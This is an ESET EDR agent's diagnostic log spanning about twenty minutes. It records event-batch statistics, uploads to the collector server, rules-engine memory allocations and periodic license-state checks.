2026-03-04 04:20:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:16:17, To:, 2026-03-04 04:20:26, Duration (s):, 249, Events Per Second:, 16.435, Events:, 4103, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3381, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456732
2026-03-04 04:20:29 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s828ms.
2026-03-04 04:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1458 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; TcpIpConnectionsManager: 529 KB; rules::ProcessConditionsCache: 311 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BaseEvent: 81 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65809 KB;
2026-03-04 04:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1816 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 517 KB; rules::ProcessConditionsCache: 287 KB; BaseEvent: 258 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 68 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66360 KB;
2026-03-04 04:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2178 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 437 KB; rules::ProcessConditionsCache: 269 KB; BatchSerializer::EventsQueueTag: 114 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66930 KB;
2026-03-04 04:23:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:23:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:23:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:23:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2539 KB; BaseEvent: 614 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 517 KB; rules::ProcessConditionsCache: 251 KB; BatchSerializer::EventsQueueTag: 161 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67496 KB;
2026-03-04 04:24:38 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:20:29, To:, 2026-03-04 04:24:38, Duration (s):, 249, Events Per Second:, 16.520, Events:, 4114, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3386, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 727, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456732
2026-03-04 04:24:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s471ms.
2026-03-04 04:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1382 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; TcpIpConnectionsManager: 524 KB; rules::ProcessConditionsCache: 234 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BaseEvent: 47 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65613 KB;
2026-03-04 04:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1746 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; TcpIpConnectionsManager: 526 KB; rules::ProcessConditionsCache: 229 KB; BaseEvent: 227 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 58 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66189 KB;
2026-03-04 04:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2106 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; TcpIpConnectionsManager: 524 KB; BaseEvent: 405 KB; rules::ProcessConditionsCache: 214 KB; ModuleInfoCache: 107 KB; BatchSerializer::EventsQueueTag: 105 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66754 KB;
2026-03-04 04:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2464 KB; BaseEvent: 582 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; TcpIpConnectionsManager: 517 KB; rules::ProcessConditionsCache: 192 KB; BatchSerializer::EventsQueueTag: 151 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67311 KB;
2026-03-04 04:28:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:28:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:28:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:28:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:28:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:24:37, To:, 2026-03-04 04:28:50, Duration (s):, 253, Events Per Second:, 16.238, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3382, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 728, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456394
2026-03-04 04:28:53 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s749ms.
2026-03-04 04:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1282 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; TcpIpConnectionsManager: 524 KB; rules::ProcessConditionsCache: 178 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65403 KB;
2026-03-04 04:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1643 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; TcpIpConnectionsManager: 512 KB; BaseEvent: 191 KB; rules::ProcessConditionsCache: 165 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 49 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65969 KB;
2026-03-04 04:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2009 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; TcpIpConnectionsManager: 526 KB; BaseEvent: 368 KB; rules::ProcessConditionsCache: 160 KB; ModuleInfoCache: 107 KB; BatchSerializer::EventsQueueTag: 96 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66568 KB;
2026-03-04 04:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2374 KB; ModuleMetadata: 573 KB; BaseEvent: 551 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; TcpIpConnectionsManager: 516 KB; rules::ProcessConditionsCache: 158 KB; BatchSerializer::EventsQueueTag: 144 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67134 KB;
2026-03-04 04:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2781 KB; BaseEvent: 738 KB; ModuleMetadata: 573 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; rules::ProcessConditionsCache: 257 KB; BatchSerializer::EventsQueueTag: 195 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67937 KB;
2026-03-04 04:32:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:28:49, To:, 2026-03-04 04:32:57, Duration (s):, 248, Events Per Second:, 16.616, Events:, 4135, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3417, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 717, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460402
2026-03-04 04:33:00 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s723ms.
2026-03-04 04:33:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:33:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:33:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:33:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1683 KB; ModuleMetadata: 578 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; rules::ProcessConditionsCache: 235 KB; BaseEvent: 178 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 47 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66113 KB;
2026-03-04 04:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2045 KB; ModuleMetadata: 578 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; BaseEvent: 357 KB; rules::ProcessConditionsCache: 221 KB; ModuleInfoCache: 108 KB; BatchSerializer::EventsQueueTag: 94 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66693 KB;
2026-03-04 04:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2410 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; BaseEvent: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; rules::ProcessConditionsCache: 216 KB; BatchSerializer::EventsQueueTag: 142 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67237 KB;
2026-03-04 04:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2773 KB; BaseEvent: 716 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; rules::ProcessConditionsCache: 205 KB; BatchSerializer::EventsQueueTag: 188 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67802 KB;
2026-03-04 04:37:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:32:57, To:, 2026-03-04 04:37:02, Duration (s):, 245, Events Per Second:, 16.746, Events:, 4103, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3373, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 6, Livegrid:, 6, OriginUrl:, 0, Alarms:, 717, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457184
2026-03-04 04:37:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s675ms.
2026-03-04 04:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1606 KB; ModuleMetadata: 578 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 554 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; rules::ProcessConditionsCache: 196 KB; BaseEvent: 154 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 39 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65946 KB;
2026-03-04 04:38:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:38:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:38:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:38:18 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1969 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 595 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 332 KB; rules::ProcessConditionsCache: 181 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 86 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66560 KB;
2026-03-04 04:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2245 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; TcpIpConnectionsManager: 471 KB; BaseEvent: 455 KB; BatchSerializer::EventsQueueTag: 121 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; rules::ProcessConditionsCache: 49 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66745 KB;
2026-03-04 04:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2444 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; TcpIpConnectionsManager: 404 KB; rules::ProcessConditionsCache: 281 KB; BatchSerializer::EventsQueueTag: 147 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67237 KB;
2026-03-04 04:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2805 KB; BaseEvent: 727 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; TcpIpConnectionsManager: 404 KB; rules::ProcessConditionsCache: 252 KB; BatchSerializer::EventsQueueTag: 193 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67792 KB;
2026-03-04 04:41:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:37:01, To:, 2026-03-04 04:41:58, Duration (s):, 297, Events Per Second:, 13.905, Events:, 4131, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3428, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 702, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460390
2026-03-04 04:42:00 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s624ms.
2026-03-04 04:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1354 KB; ModuleMetadata: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; TcpIpConnectionsManager: 448 KB; rules::ProcessConditionsCache: 237 KB; BaseEvent: 172 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 44 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65666 KB;
2026-03-04 04:43:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:43:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:43:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:43:19 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
